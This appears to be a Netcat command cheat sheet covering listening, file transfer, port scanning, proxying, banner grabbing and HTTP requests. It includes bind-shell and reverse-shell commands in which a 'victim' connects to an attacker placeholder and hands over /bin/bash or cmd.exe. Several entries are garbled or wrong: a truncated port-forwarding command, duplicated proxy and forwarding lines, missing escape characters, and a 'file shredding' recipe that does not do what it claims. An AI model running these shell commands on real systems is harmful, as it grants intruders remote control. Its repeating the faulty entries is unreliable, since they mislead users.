1. Listening Mode:
nc -l -p <port>
Start Netcat in listening mode on a specific port. This mode waits for incoming connections.
Connect Mode:
nc <host> <port>Connect to a specific host and port. This mode initiates a connection to the specified host.File Transfer: Send a file:
nc -w 3 <destination_ip> <port> < file_to_send Receive a file: nc -l -p <port> > received_fileUse Netcat to transfer files between systems. In the send command, specify the destination IP and port. In the receive command, specify the listening port to accept the file.Port Scanning:
nc -zv <host> <start_port>-<end_port>Check for open ports on a remote host. This command performs a TCP port scan on the specified range of ports.Chatting: Sender:
nc <destination_ip> <port>Receiver:nc -l -p <port>Establish a simple chat session between two systems. One system acts as the sender, while the other listens for incoming messages as the receiver.Remote Command Execution: Sender:
nc -l -p <local_port> -e cmd.exe (Windows)Receiver:nc <destination_ip> <local_port>Execute commands remotely on a target system. The sender listens for connections and executes commands, while the receiver connects and receives the command output.Proxying:
nc -l -p <local_port> -c "nc <destination_ip> <destination_port>"Use Netcat as a proxy server to relay connections between two endpoints. Incoming connections to the local port are forwarded to the specified destination IP and port.Port Forwarding:
nc -l -p <local_port> -c "nc <destination_ip> <destination_port>"On the client side: nc -l -pForward connections from one port to another. Incoming connections to the local port are redirected to the specified destination IP and port. Port Redirection:
nc -l -p <local_port> -c "nc -l <redirection_port>"Redirect incoming connections from one port to another locally. Netcat listens for connections on the local port and forwards them to the specified redirection port.UDP Mode: Listen:
nc -u -l -p <port>Send:nc -u <destination_ip> <port>Use Netcat in UDP mode for sending and receiving UDP packets. UDP is connectionless, making it suitable for applications like streaming media or DNS queries.Banner Grabbing:
nc -v <host> <port>Retrieve the banner information from a service running on a specific port. This can help identify the type and version of the service.Reverse Shell: Attacker:
nc -l -p <listening_port> -vvvVictim (Linux):nc <attacker_ip> <listening_port> -e /bin/bashVictim (Windows):nc <attacker_ip> <listening_port> -e cmd.exeEstablish a reverse shell connection, allowing the attacker to execute commands on the victim's system. The attacker listens for incoming connections, while the victim connects back and spawns a shell.HTTP Requests: Send HTTP GET request:
echo -e "GET / HTTP/1.0rnrn" | nc <host> <port>Send custom HTTP request:echo -e "<custom_request>" | nc <host> <port>Craft and send HTTP requests using Netcat. This can be useful for testing web servers or debugging HTTP communication.File Shredding: Securely delete a file:
nc -l -p <port> | shred -uUse Netcat to stream data to the shred command, securely deleting a file by overwriting its contents before unlinking it from the file system.VoIP Testing: Send audio data:
cat audiofile.wav | nc -u <destination_ip> <port>Receive audio data:nc -l -u -p <port> | play -t wav -Transmit and receive audio data over a network using Netcat. This can be helpful for testing VoIP (Voice over IP) systems or streaming audio content.
